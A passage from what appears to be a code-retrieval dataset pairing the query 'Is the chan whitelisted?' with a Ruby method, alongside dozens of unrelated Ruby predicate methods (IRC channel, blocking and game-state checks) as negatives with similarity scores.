0\n false\n end", "def alive?\n @locker.synchronize {\n !! @consumers.alive?\n }\n end", "def query?\n @private ||= (not @connection.support(\"CHANTYPES\", \"#&\").include? @msg.destination.chr)\n end", "def disconnected?\n status == DISCONNECTED\n end", "def run?(blacklist, whitelist)\n ((@address.scheme == 'http') || (@address.scheme == 'https')) && (!match?(blacklist) || match?(whitelist))\n end", "def receivable?\n at?(:active, :forget_initiated)\n end", "def caught_by_player?\n return flags.anybits?(FLAG_CAUGHT_BY_PLAYER)\n end", "def can_receive?\n if (self.state == 'C' or self.state == 'F')\n return true\n end\n return false\n end", "def banned?\n global_steps = self.class.global_actions.map { |(action, rule)| Step.new(self, rule, action) }\n !Runner.new(global_steps).pass?\n end", "def pending?\n pending\n end", "def allowed?\n # If the agent's busy state will clear this turn, this action\n # could happen. We intentionally don't send a \"disallowed\"\n # notification for the action. It's not cancelled, nor is it\n # dispatched successfully. It's just waiting for a later tick to\n # do one of those two things.\n return false if @agent.state[\"busy\"] > 1\n\n # A dilemma: if we cancel now when no actions are queued, then\n # any action queued this turn (e.g. from an\n # EveryXActionsIntention) won't be executed -- we said this\n # intention wasn't happening. If we *don't* return false in the\n # \"allowed?\" phase then we'll wind up sending out a cancel\n # notice every turn when there are no actions. So we add a\n # \"silent\" info option to the normal-every-turn cancellations,\n # but we *do* allow-then-cancel even in perfectly normal\n # circumstances.\n true\n end", "def can_unblock?(user)\n blocked? && self.blocker == user\n end", "def single_nick?\n @nick != '*'\n end", "def currently_online\n false\n end", "def offline?\n !online?\n end", "def private?\n return true if @destination == nil\n\n @private ||= (not @connection.support(\"CHANTYPES\", \"#&\").include? @destination.chr)\n end", "def isOpped(m) \n return true if m.user.nick == 'godzirra'\n\n if m.channel\n @bot.debug \"Channel #{m.channel} and opped #{m.channel.opped? m.user}\"\n return m.channel.opped? m.user\n else\n @bot.channels.each do |chan| \n if chan.opped? m.user\n return true\n end\n end\n end\n return false\n end", "def allow?(item)\n @whitelist.include?(item) || [email protected]?(item)\n end", "def has_lost?\n @deck.cards == []\n end", "def broadcast_state(nick, state)\n #TODO: write function\n #get users clist, get the contacts clists and check their authorization to get the state\n #if its fine -> send the message to their queues\n\n return true\nend", "def check_blackjack\n\t\tif @player.blackjack?\n\t\t\tputs \"Blackjack!\"\n\t\t\treturn\n\t\telsif @dealer.blackjack?\n\t\t\tputs \"Dealer blackjack!\"\n\t\t\treturn\n\t\tend\n\tend", "def disconnected?\n !@connected\n end", "def actor_blocked?(actor, position)\n !actor.characters.ids.include?(position.character_id)\n end", "def blocked?(id, blocked_id, scope = Amico.default_scope_key)\n !Amico.redis.zscore(\"#{Amico.namespace}:#{Amico.blocked_key}:#{scope}:#{id}\", blocked_id).nil?\n end", "def cancellable?\n status.to_sym.in? [StatusNotSent, StatusPending]\n end", "def reject?(sender)\r\n false\r\n end", "def checkModuleAvailable\n @@cleanAvailableModules.each do |m|\n if m.chomp.eql? @@raidType.getRaidType\n\t return true\n\t else puts \"No available modules\"\n end\n end\n end" ]
[ "0.7920067", "0.7615517", "0.74722815", "0.7438271", "0.7380521", "0.7113132", "0.6795921", "0.6733704", "0.67138255", "0.67058975", "0.6685923", "0.66241616", "0.65777254", "0.65385354", "0.65377647", "0.6491646", "0.6477628", "0.6407497", "0.6382794", "0.6341555", "0.6336858", "0.6278379", "0.6254405", "0.6250913", "0.6239576", "0.62329155", "0.6223687", "0.62133753", "0.6211356", "0.61841583", "0.61826324", "0.61652386", "0.61206424", "0.6101807", "0.6087353", "0.606956", "0.60447323", "0.6044678", "0.6041559", "0.6035381", "0.6035167", "0.6020316", "0.6009817", "0.5994379", "0.5971968", "0.59627414", "0.5938698", "0.592102", "0.59152615", "0.59079397", "0.59068793", "0.5904141", "0.5903818", "0.588808", "0.588131", "0.5862314", "0.58570766", "0.585335", "0.5808055", "0.5804836", "0.57913077", "0.57888305", "0.57731634", "0.5765781", "0.5759861", "0.5752463", "0.57514054", "0.5750288", "0.5740945", "0.5740347", "0.5737351", "0.57342774", "0.57336676", "0.5733376", "0.57298374", "0.57236105", "0.5718144", "0.57175565", "0.571238", "0.57111067", "0.5710675", "0.57080954", "0.56888396", "0.56876814", "0.56865776", "0.568645", "0.5685337", "0.5683379", "0.5678199", "0.5670806", "0.5664514", "0.56635463", "0.5661134", "0.5658451", "0.56579655", "0.5656076", "0.5651778", "0.56420046", "0.56400615", "0.5637156" ]
0.81905717
0
Is the chan whitelisted?
def in_whitelist?(chan) return @whiteList.include?(chan.downcase) if whitelist? true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def in_blacklist?(chan)\n @blackList.include?(chan.downcase) if blacklist?\n end", "def blacklisted?(channel, nick)\n return false if not @blacklist[channel].is_a?(Array)\n @blacklist[channel].include?(nick)\n end", "def is_channel_blacklisted?(channel_name)\n !ENV[\"CHANNEL_BLACKLIST\"].nil? && ENV[\"CHANNEL_BLACKLIST\"].split(\",\").find{ |a| a.gsub(\"#\", \"\").strip == channel_name }\nend", "def can_be_blacklisted?\n !self.blacklisted?\n end", "def blacklisted?\n self.friendship_status == BLACKLISTED\n end", "def blacklisted?(request)\n false\n end", "def verifyChannel(label)\n @connection.call('channel.listSoftwareChannels', @sid)\n .map { |c| c['label'] }\n .include?(label)\n end", "def channel?\n not query?\n end", "def whitelisted?(request)\n false\n end", "def isPriv?\n case @command\n when Event::RECV_CMND_PRIVMSG,Event::RECV_CMND_NOTICE\n #\n # Name which starts with '#','&' or '!' is channel name.\n #\n if(@to=~/^[\\#\\&\\!].+/)\n return false\n else\n return true\n end\n \n else\n return false\n end\n end", "def blocked?\n @blocked\n end", "def blocked?\n false\n end", "def blocked?(subscriber)\n false\n end", "def blocked?\n (status == BLOCKED)\n end", "def sent_to_channel?\n IRC.channel_name?(dest)\n end", "def can_talk?\n muted = !!redis(\"get\", \"chat:mute:#{@name}\")\n banned = !!redis(\"get\", \"ban:#{@id}\")\n\n !(muted || banned || @id == 0)\n end", "def can_recover?\n self.lapsed? and not self.blacklisted\n end", "def blocked?\n (status == ConfigCenter::User::BLOCKED)\n end", "def allow?(item)\n @whitelist.include?(item) || [email protected]?(item)\n end", "def whitelist_users?\n self.whitelist_users.any?\n end", "def blacklisted?(request)\n blacklisters.any? { |name, blacklister| blacklister.matched?(request) }\n end", "def is_whitelisted?(address)\n !!(self.class.safetynet_options[:whitelist].match(address))\n end", "def filtering_for_sender?\n return false unless contributor.present?\n\n contributor.id.in? monitoring_configuration.monitoring_contributors.pluck(:github_repository_contributors_id)\n end", "def on_chan?\n location =~ /^#/\n end", "def channel?\n self.channel_referent_id > 0\n end", "def active_scheduled_leaderbits_receiver?\n !discarded? &&\n schedule_id.present? &&\n leaderbits_sending_enabled? &&\n organization.leaderbits_sending_enabled?\n end", "def activated?(channel)\n channels[channel.to_sym] == true\n end", "def user_is_producer_of_channel?(channel_id)\n logged_in? && current_user.login == THUMBWEBS_AUTHORIZED_USER\nend", "def white_listed\n @white_listed ||= []\n end", "def sendable?\n at?(:active)\n end", "def allowed?(request)\n case\n when whitelisted?(request) then true\n when blacklisted?(request) then false\n else true # override in subclasses\n end\n end", "def blocked?\n !self.blocked.nil?\n end", "def blocked?(user)\n blocked.include?(user)\n end", "def subscribed?; owners.any? { |peer| peer.subscribed?(self) if peer != Distributed } end", "def confirmed_whitelist_log_status?\n GlobalConstant::KycWhitelistLog.confirmed_status == @kyc_whitelist_log.status\n end", "def whitelisted?(request)\n whitelisters.any? { |name, whitelister| whitelister.matched?(request) }\n end", "def is_banned?\n self.publishing_state == PublishingState::BANNED\n end", "def private?\n !@data[:channel]\n end", "def query?\n @private ||= (not @connection.support(\"CHANTYPES\", \"#&\").include? @msg.destination.chr)\n end", "def can_be_blacklisted_by?(user)\n user && user.id != self.user.id # && !user.all_friend_ids.include?(self.user.id)\n end", "def to? channel\n (!@only && !@except) ||\n (@only && @only.include?(channel)) ||\n (@except && [email protected]?(channel))\n end", "def ensure_not_blacklisted(channel, nick)\n return if not @blacklist[channel].is_a?(Array)\n @blacklist[channel].delete(nick)\n end", "def usable?\n [:connected, :connecting].include?(@status)\n end", "def allowed?\n allowed\n end", "def accepted?\n return true if exclusive?\n\n accepted_by?(host_lead_member) && accepted_by?(guest_lead_member)\n end", "def can_process_cmd?\n settings.queue.empty?\n end", "def available?\n online? and (presence.show == nil or presence.show == :chat)\n end", "def blacklisted?(dx)\n domain = dx.split('.').reverse.join('.')+\".\"+self\n a = []\n Resolv::DNS.open do |dns|\n begin\n a = dns.getresources(domain, Resolv::DNS::Resource::IN::A)\n rescue Resolv::NXDomainError\n a=[]\n end\n end\n if a.size>0 then true else false end\n end", "def wants_to_subscribe?\n source_is_ffcrm? && has_list?\n end", "def allowed?\n # If the agent's busy state will clear this turn, this action\n # could happen. We intentionally don't send a \"disallowed\"\n # notification for the action. It's not cancelled, nor is it\n # dispatched successfully. It's just waiting for a later tick to\n # do one of those two things.\n return false if @agent.state[\"busy\"] > 1\n\n # A dilemma: if we cancel now when no actions are queued, then\n # any action queued this turn (e.g. from an\n # EveryXActionsIntention) won't be executed -- we said this\n # intention wasn't happening. If we *don't* return false in the\n # \"allowed?\" phase then we'll wind up sending out a cancel\n # notice every turn when there are no actions. So we add a\n # \"silent\" info option to the normal-every-turn cancellations,\n # but we *do* allow-then-cancel even in perfectly normal\n # circumstances.\n true\n end", "def allowed?\n stream.config.allowed?(validate_to || stream.domain, stream.user.jid)\n end", "def user_can_access_channel\n return @channel.is_accessible_by(current_user) if @channel\n return @video.channel.is_accessible_by(current_user) if @video\n end", "def track_uses_channel(chan)\n\t@chan_mask = @chan_mask | (1 << chan)\n end", "def blocked?\n return (@ref.blocked == \"true\") ? true : false\n end", "def act_authorized_with_blacklist?(instance, msg)\n result = act_authorized_without_blacklist?(instance, msg)\n return result unless msg.element.is_a? Linael::Irc::Privmsg\n mod = mod(instance.class::Name)\n result &= !mod.in_blacklist?(msg.place)\n result &= mod.in_whitelist?(msg.place)\n result\n end", "def allow?(packet); end", "def blocked?\n !self.blocked.nil?\n end", "def still_connected?\n true\n end", "def command_issued?\n @channel_control.command_given?\n end", "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def herbalizable?(param)\n whitelisted?(param) && !blacklisted?(param)\n end", "def can_listen?\n\t\tprovider.in? [\"facebook\", \"lastfm\"]\n\tend", "def suscription_on?\n is_subscribed == true\n end", "def priviledged?\n @priviledged\n end", "def connected?\n not @sp.closed?\n end", "def caught_by_player?\n return flags.anybits?(FLAG_CAUGHT_BY_PLAYER)\n end", "def allowed?\n true\n end", "def allowed?\n true\n end", "def allows?(uri)\n return true if everyone_allowed_everywhere?\n return false if noone_allowed_anywhere\n return true if current_agent_allowed?(uri) \n end", "def can_send?\n !sent?\n end", "def is_blacklisted?\n errors.add(:url, \"is blacklisted\") if BlacklistUrl.is_listed?(self.url)\n end", "def from_admin?\n if self.sender == self.receiver\n true\n else\n false\n end\n end", "def can_accept_showing?\n profile.valid? && valid_bank_token? && !blocked?\n end", "def allowed?\n true\n end", "def viable?\n\t\t\t\t\t\t@ready && @stream&.connected?\n\t\t\t\t\tend", "def healthy?\n %w(run sleep).include?(@transmitter.status)\n end", "def blocked?\n !actor.likes?(activity_object)\n end", "def mono?\n @channels == 1\n end", "def mono?\n @channels == 1\n end", "def required_capabilities?(tcp)\n (ToolProxy::ENABLED_CAPABILITY - tcp['capability_offered']).blank?\n end", "def action?\n action_channel.in_use?\n end", "def broadcast_state(nick, state)\n #TODO: write function\n #get users clist, get the contacts clists and check their authorization to get the state\n #if its fine -> send the message to their queues\n\n return true\nend", "def allowed?\n return self.connected_to_padma?\n end", "def omni\n @channel = nil\n true\n end", "def private?\n return true if @destination == nil\n\n @private ||= (not @connection.support(\"CHANTYPES\", \"#&\").include? @destination.chr)\n end", "def host_allowed?(arg)\n true\n end", "def ignored?\n self.friendship_status == IGNORED\n end", "def can_receive?\n if (self.state == 'C' or self.state == 'F')\n return true\n end\n return false\n end", "def channel?(str)\n prefixes = Regexp.escape(server_type.channel_prefix.keys.join)\n str.match(\"[#{prefixes}]#{CHANNEL_REGEX}\") != nil\n end", "def hasOp(usr)\n @IRCsocket.write(\"NAMES #{@ch}\\n\")\n data = namesData(@IRCsocket.readline.split(\" \"))\n @IRCsocket.readline # for the second worthless line of answer to the NAMES request\n if(data[\"to\"] == @name && data[\"names\"].include?(\"@#{usr}\"))\n return true\n else\n false\n end\n end", "def pact_pending?\n pact_pending\n end", "def allowed?(request)\n whitelisted?(request) && !blacklisted?(request) && meets_quota?\n end", "def can_look( user, board )\n if board.is_public || board.is_readable_by( user )\n return true\n else\n flash[:warning] = \"You are not suppose to look at this board! \"\n redirect_to login_url\n end# end if\n end", "def collectable?\n hub.filters.any? { |fr| history.size >= fr.size && matching_filter?(fr) }\n end", "def accept_state?(state)\n @accept.include? state\n end", "def is_blacklisted_for?(user)\n user && user.id != self.id && self.is_premium? && self.blacklist_ids.include?(user.id)\n end", "def run?(blacklist, whitelist)\n ((@address.scheme == 'http') || (@address.scheme == 'https')) && (!match?(blacklist) || match?(whitelist))\n end", "def pending?\n pending\n end", "def connected?\n !!@connected_to\n end" ]
[ "0.7679673", "0.7371595", "0.72186685", "0.6963999", "0.6860579", "0.6854552", "0.67722136", "0.6719608", "0.66713506", "0.66545594", "0.64600116", "0.6453088", "0.64510363", "0.6435301", "0.63914555", "0.63364893", "0.6327389", "0.6315006", "0.62931705", "0.6271434", "0.6268107", "0.6260144", "0.6256104", "0.62455", "0.6240371", "0.6197099", "0.6196182", "0.6193222", "0.619029", "0.61611897", "0.6152916", "0.61085546", "0.6077004", "0.60743505", "0.6061143", "0.6059592", "0.6059399", "0.6057346", "0.6051615", "0.60463464", "0.60457724", "0.60405946", "0.60352165", "0.6019371", "0.6018932", "0.60131735", "0.60122615", "0.60067415", "0.60036314", "0.6002998", "0.60008806", "0.5988323", "0.5983022", "0.5966696", "0.59660083", "0.5943774", "0.5943195", "0.59319973", "0.5930374", "0.5925435", "0.5925435", "0.59063286", "0.59028697", "0.5901359", "0.5897713", "0.5883942", "0.5871372", "0.58507556", "0.58507556", "0.5849165", "0.5848006", "0.58436054", "0.5842521", "0.58405364", "0.58353376", "0.5832498", "0.58324635", "0.5831687", "0.58295816", "0.58295816", "0.5820479", "0.5817795", "0.5815627", "0.580795", "0.5807931", "0.57966053", "0.5793283", "0.5791749", "0.57896703", "0.5783453", "0.57732517", "0.57718664", "0.57716674", "0.57693744", "0.5759734", "0.5749672", "0.5748085", "0.57475424", "0.5747032", "0.57449985" ]
0.8291955
0
Check if an instance is authorized in a chan
def act_authorized_with_blacklist?(instance, msg) result = act_authorized_without_blacklist?(instance, msg) return result unless msg.element.is_a? Linael::Irc::Privmsg mod = mod(instance.class::Name) result &= !mod.in_blacklist?(msg.place) result &= mod.in_whitelist?(msg.place) result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_instance_permissions\n unless @bot_instance.user == current_user || current_user.is_owner?(@bot_instance.bot) || current_user.is_admin?\n render status: :forbidden, plain: \"You're not allowed to modify this instance\" and return\n end\n\n render status: :forbidden, plain: 'This instance does not belong to this bot.' and return unless @bot_instance.bot_id.to_s == params[:bot_id]\n end", "def authorized?(**args)\n true\n end", "def authorized?\n true\n end", "def user_can_access_channel\n return @channel.is_accessible_by(current_user) if @channel\n return @video.channel.is_accessible_by(current_user) if @video\n end", "def authorized?\n true\n end", "def authorized?\n if Vermonster::Client.connection.get(\"me\").status == 200\n true\n else\n false\n end\n end", "def authorized?\n !auth.nil?\n end", "def authorized?(id)\n AcnhBot.client.config[:authorized].include?(id.to_i)\n end", "def authorized_by(user)\n user.id == self.sender_id\n end", "def authorized?(buffy_context)\n if params[:only].nil?\n return true\n else\n user_authorized? buffy_context.sender\n end\n end", "def authorized?(user)\n current_user == user\nend", "def authorized?(user)\n true\n end", "def owner_required\n ## before filter for owner of channel. \n if logged_in? && current_user.login == THUMBWEBS_AUTHORIZED_USER\n return true\n else\n flash[:error] = \"Unauthorized Access-Must be logged-in as owner.\"\n redirect_to thumbwebs_root_path\n end\nend", "def authorized?\n [email protected]['REMOTE_USER']\n end", "def first_time_authorized?\n self.authorized == true && self.message_sent == false\n end", "def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end", "def authorized?\n logged_in? && (admin? || member_actions.include?(action_name) || allow_member?)\n end", "def authorized?(action, subject)\n ability.can? action, subject\n end", "def user_is_producer_of_channel?(channel_id)\n logged_in? && current_user.login == THUMBWEBS_AUTHORIZED_USER\nend", "def authorized?\n # TODO(samstern): Check for expired token.\n !(session[:user_id].nil?)\n end", "def authorized?(user, action)\n\t\ttrue\n\tend", "def authorized?\n !!request.env['REMOTE_USER']\n end", "def authorized?(action, subject = nil)\n true\n end", "def can?(action, controller, object = nil)\n conditions = {\n :group => self,\n :controller => controller,\n :action => action,\n :id => object.id\n } \n return LogicalAuthz::is_authorized?(conditions)\n end", "def authorized?\n logged_in?\n end", "def authorized?\n logged_in?\n end", "def authorized(m)\n m.user == current_user\n end", "def authed?(irc)\n if !$user.caps(irc, 'op', 'owner').any?\n irc.reply \"You aren't allowed to use this command\"\n return false\n end\n true\n end", "def authorized_by(user)\n user.id == self.id\n end", "def authorized?(action, subject = nil)\n false\n end", "def is_authorized?\n @authorized\n end", "def is_authorized?\n @authorized\n end", "def authorized?\n @authorized ||= current_user.present? # TODO: Check for authorization\n end", "def authorized?\n logged_in?\n end", "def authorized?(tmp_user)\n user == tmp_user\n end", "def authorized?\n !session[:token].nil?\n end", "def priviledged?\n @priviledged\n end", "def authorized\n\t\tif current_user\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def authorized?(action, subject, args)\n block = @actions[:manage] || @actions[action]\n\n return false unless block\n return true if block == true\n\n !!block.call(subject, *args)\n end", "def authorized?\nlogged_in?\nend", "def authorized?\n logged_in?\n end", "def authorized?\n logged_in?\n end", "def authorized?\n logged_in? && current_user.login == \"ej0c\"\n end", "def authorized?\n current_user.logged_in?\n end", "def authorized_user\n @event = Event.friendly.find(params[:id])\n if @event.creator_id != current_user.id\n if current_user.email == '[email protected]' || current_user.email == '[email protected]'\n return true\n end\n redirect_to root_path, alert: \"Oops! You don't have permission to do that\"\n end\n end", "def authorized?\n\t\treturn self.authenticated?\n\tend", "def authorized?(user_id)\n logged_in_user_id == user_id\n end", "def check_auth\n @slot.user == (current_user ) or raise AccessDenied\n end", "def authorized?(object, args, ctx)\n field_authorized?(object, ctx) && resolver_authorized?(object, ctx)\n end", "def authorized?\n if token.present?\n # Client is confidential, therefore client authentication & authorization\n # is required\n if token.application_id?\n # We authorize client by checking token's application\n server.client && server.client.application == token.application\n else\n # Client is public, authentication unnecessary\n true\n end\n end\n end", "def isPriv?\n case @command\n when Event::RECV_CMND_PRIVMSG,Event::RECV_CMND_NOTICE\n #\n # Name which starts with '#','&' or '!' is channel name.\n #\n if(@to=~/^[\\#\\&\\!].+/)\n return false\n else\n return true\n end\n \n else\n return false\n end\n end", "def collaborate?\n record.private? && (record.user_id == user.id || user.admin?)\n end", "def authorized?\n @authorized ||= User.get(@env).present?\n end", "def authorized?\n\t\t\t@authenticated\n\t\tend", "def can_access?(user)\n user == self.user\n end", "def authorized?(action, subject)\n return false unless subject\n\n klass = subject.is_a?(Class) ? subject : subject.class\n authorizer_of(klass).authorized? action, subject\n end", "def authorized?\n logged_in?\n end", "def update_authorized?(target)\n @from_member.roles_include?(:moderator) || target == @from_member\n end", "def allow_access\n !current_cas_user.nil?\n end", "def authorized?\n @current_user ||= User.first(:conditions => {:name => session[:cas_user]})\n !@current_user.nil?\n end", "def authed?(irc)\n if !$user.caps(irc, 'phrases', 'op', 'owner').any?\n irc.reply \"You aren't allowed to use this command\"\n return false\n end\n true\n end", "def authorize subscriber, node\n true\n end", "def valid_by_action_authorized?(action)\n return true unless (action[:authorized?] and current_user)\n authorized_proc = action.delete(:authorized?)\n if authorized_proc.kind_of?(Proc)\n return authorized_proc.call(current_user)\n else\n return authorized_proc == true\n end\n end", "def authorize(_subject, _auth)\n false\n end", "def authorized?\n\n current_user && current_user.is_admin?\n end", "def authorized?\n\t\tif session[:authorization]\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def websocket_connection_authorized?(request)\n true\n end", "def authorized?\n authorized = nil\n user && user.role_symbols.each do |role|\n (permissions[role] || {}).each do |act, opt|\n if act == action\n break if (authorized = opt.any? ? eval_expr(opt) : true)\n end\n end\n break if authorized\n end\n authorized\n end", "def authorized?(action = action_name, resource = nil)\n logged_in?\n end", "def authorized?\n return if session[:access_token]\n end", "def authorized?\n #if current_user is nil, return false\n #otherwise, check for authorization\n if current_user\n authorized = false\n\n #if user is admin, return true\n if session[:admin] == true\n authorized = true\n else\n #puts authorized user ids in an array and check against\n #the current_user id\n authorized_users = Array.new\n\n authorized_users.push(@project.user_id)\n @project.collaborators.each do |col|\n authorized_users.push(col.user_id)\n end\n\n authorized_users.each do |user|\n # binding.pry\n if current_user.id == user\n authorized = true\n end\n end\n #authorized user not found\n if !authorized\n false\n end\n end\n\n #return result\n authorized\n else\n #current_user is nil, return false\n false\n end\n end", "def visible_to?(identity)\n return true if !restricted && !deleted && published\n return false if nobody?(identity)\n return true if identity.god and identity.realm == self.realm\n identity.id == created_by\n end", "def authorisation?\n event_code == AUTHORISATION\n end", "def can?\n current_user\n end", "def authorized?(action = action_name, resource = nil)\n if logged_in? and permissions(action_name, resource)\n true\n else\n false\n end\n end", "def can_accept?\n SpaceMembershipPolicy.can_accept?(object, space_membership)\n end", "def exec_granted?(controler, xllave)\n\t\tauth = Execremotekey.where(\"controler= '#{controler}' AND llave = '#{xllave}' \").first\n\t\tif auth == nil\n\t\t\tredirect_to noautorizado_url, notice: \"No esta autorizado a entrar a esta opcion\"\n\t\t\tfalse\n\t\telse\n\t\t\tauth.delete #para que no se reutilice la misma validacion\n\t\t\ttrue\n\t\tend\n\tend", "def can_look\n if @user.can( :read , @board ||= Board.find_from( params ) )\n return true\n else\n redirect_to login_url \n end# if\n end", "def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end", "def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end", "def owner?(obj)\n (self.id == RedisMutexer.config.redis.get(key(obj)).to_i)\n end", "def authorized?(user, request, params)\n true\n end", "def authorised\n if self.roles.size > 0\n true\n end\n end", "def authorize(user, session)\n\t\tsession == @sessions[user]\n\tend", "def authorized?(id_str)\n id_str.to_i == current_user.id\n end", "def revision_authorized?\n authorized_for?(:action => :read)\n end", "def hubssolib_authorized?(action = action_name, classname = self.class)\n\n # Classes with no permissions object always authorise everything.\n # Otherwise, ask the permissions object for its opinion.\n\n if (classname.respond_to? :hubssolib_permissions)\n return classname.hubssolib_permissions.permitted?(hubssolib_get_user_roles, action)\n else\n return true\n end\n end", "def accepted?\n return true if exclusive?\n\n accepted_by?(host_lead_member) && accepted_by?(guest_lead_member)\n end", "def author_of(resource)\n member_signed_in? && current_member.id == resource.member_id\n end", "def authorized?(action, subject = nil)\n uploader_authorization.authorized?(action, subject)\n end", "def authorized?\n !!@access_token\n end", "def authorize?(user)\n true\n end", "def authorized?\n current_user.login == \"Admin\"\n end", "def has_access? c\n access_rights[controller2right c] == '1'\n end", "def check_kicked_user_from_guild\n return (@guild[:id] == @user[:guild_id] && @user[:id] != @guild[:owner_id]) ? 1 : nil\n end", "def authorized?\n session[:password] == SETTINGS[\"password\"]\n end", "def is_curator?\n has_role?(:curator)\n end", "def authorize?(user)\n user && user.moderator?\n end", "def activated?(channel)\n channels[channel.to_sym] == true\n end", "def authorized?\n command? &&\n $recipients.keys.include?(@data[:sender]) && # valid sender?\n @data[:sender] == @data[:recipient] && # own email address?\n (!$config[:'require-sasl'] || $recipients[@data[:sender]] == @data[:'sasl_username']) # valid sasl username?\n end" ]
[ "0.64766246", "0.64395356", "0.6387061", "0.6380646", "0.6342629", "0.6302006", "0.630177", "0.62956965", "0.629123", "0.6276678", "0.62524635", "0.6237068", "0.6220886", "0.61942416", "0.61873585", "0.6184865", "0.6172925", "0.6160967", "0.6139461", "0.6126299", "0.61115265", "0.6105021", "0.61028194", "0.60861164", "0.6083999", "0.6083999", "0.6076407", "0.60491437", "0.60481465", "0.60479534", "0.60253936", "0.60253936", "0.60043895", "0.5984103", "0.59691894", "0.59683603", "0.59671634", "0.5962543", "0.5961155", "0.59484166", "0.5945992", "0.5945992", "0.59426033", "0.59347206", "0.5919828", "0.5888367", "0.5887416", "0.5886665", "0.5862304", "0.58581674", "0.58461636", "0.58231604", "0.58221495", "0.58055", "0.580308", "0.57892376", "0.57843953", "0.5781876", "0.5764984", "0.5763998", "0.5762707", "0.574758", "0.57466054", "0.5742094", "0.5736101", "0.57320565", "0.5728804", "0.5721895", "0.5721678", "0.57200104", "0.5715562", "0.5705892", "0.5696242", "0.56894076", "0.5682169", "0.56796175", "0.5679349", "0.56761074", "0.56755763", "0.56755763", "0.5674298", "0.56730664", "0.565872", "0.56403244", "0.5637655", "0.5636326", "0.56330764", "0.5629633", "0.5623678", "0.56228673", "0.5619948", "0.56064785", "0.559952", "0.55966556", "0.5595886", "0.5593203", "0.5593127", "0.5588156", "0.5584141", "0.5583942" ]
0.6698016
0
=> Make sure you change this to the name of your code file! Save that file into this repo.
def separate_comma(number) case number.to_s.length when 0..3 puts number.to_s when 4..6 puts number.to_s.insert(-4,",") when 7..9 puts number.to_s.insert(-4,",").insert(-8,",") when 10..12 puts number.to_s.insert(-4,",").insert(-8,",").insert(-12,",") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def updated_source_file; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def updated_source_file?; end", "def src; end", "def src; end", "def src; end", "def project_filename; end", "def source_location; end", "def source_map_file; end", "def repo; end", "def repo; end", "def repo; end", "def repo; end", "def source_files; end", "def how_it_works\r\n end", "def gh_name\n 'ruby_lib'\nend", "def original_name; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def git\n\tend", "def git_project()\n \"\"\nend", "def code_point; end", "def code\n path\n end", "def source_path; end", "def project; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def jack_handey; end", "def main\n end", "def name\n 'GitHub'\n end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def main\n\n end", "def ...\nend", "def master; end", "def private; end", "def git_dir; end", "def repo_dir; end", "def function_name\n working code\nend", "def repository; end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def autorun; end", "def code\n '202'\n end", "def update_self\n updated_version = open('https://gist.github.com/raw/857843/C.rb').read\n File.open(__FILE__, 'w+') do |f|\n f.puts updated_version\n end\nend", "def implementation; end", "def implementation; end", "def old_name; end", "def githubize\n # method goes here\n end", "def real_name; end", "def source_change(change, filename)\n end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end" ]
[ "0.6821458", "0.6594034", "0.6594034", "0.6594034", "0.6594034", "0.6594034", "0.6594034", "0.6594034", "0.64349914", "0.63656425", "0.63656425", "0.63656425", "0.6337679", "0.62216777", "0.621762", "0.6203383", "0.6203383", "0.6203383", "0.6203383", "0.61745214", "0.61638343", "0.6134506", "0.6114917", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.6074473", "0.60551214", "0.60317874", "0.6019418", "0.60183823", "0.6009128", "0.59677714", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.59659445", "0.5951399", "0.5949072", "0.59450054", "0.5944753", "0.5944753", "0.5944753", "0.5944753", "0.5944753", "0.5944753", "0.5938126", "0.5928672", "0.59279585", "0.59250647", "0.591708", "0.59169745", "0.58738196", "0.5867121", "0.5838301", "0.5838301", "0.5838301", "0.5838301", "0.5838301", "0.5838301", "0.5838301", "0.5828168", "0.5813887", "0.58068264", "0.5793315", "0.5793315", "0.57570744", "0.57533145", "0.5747766", "0.57365745", "0.5729307", "0.5729307", "0.5729307", "0.5729307", "0.5729307", "0.5729307", "0.5729307", "0.5729307" ]
0.0
-1
def current_player(board) if turn_count(board) % 2 end
def current_player(board) turn_count(board) % 2 == 0 ? "X" : "O" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
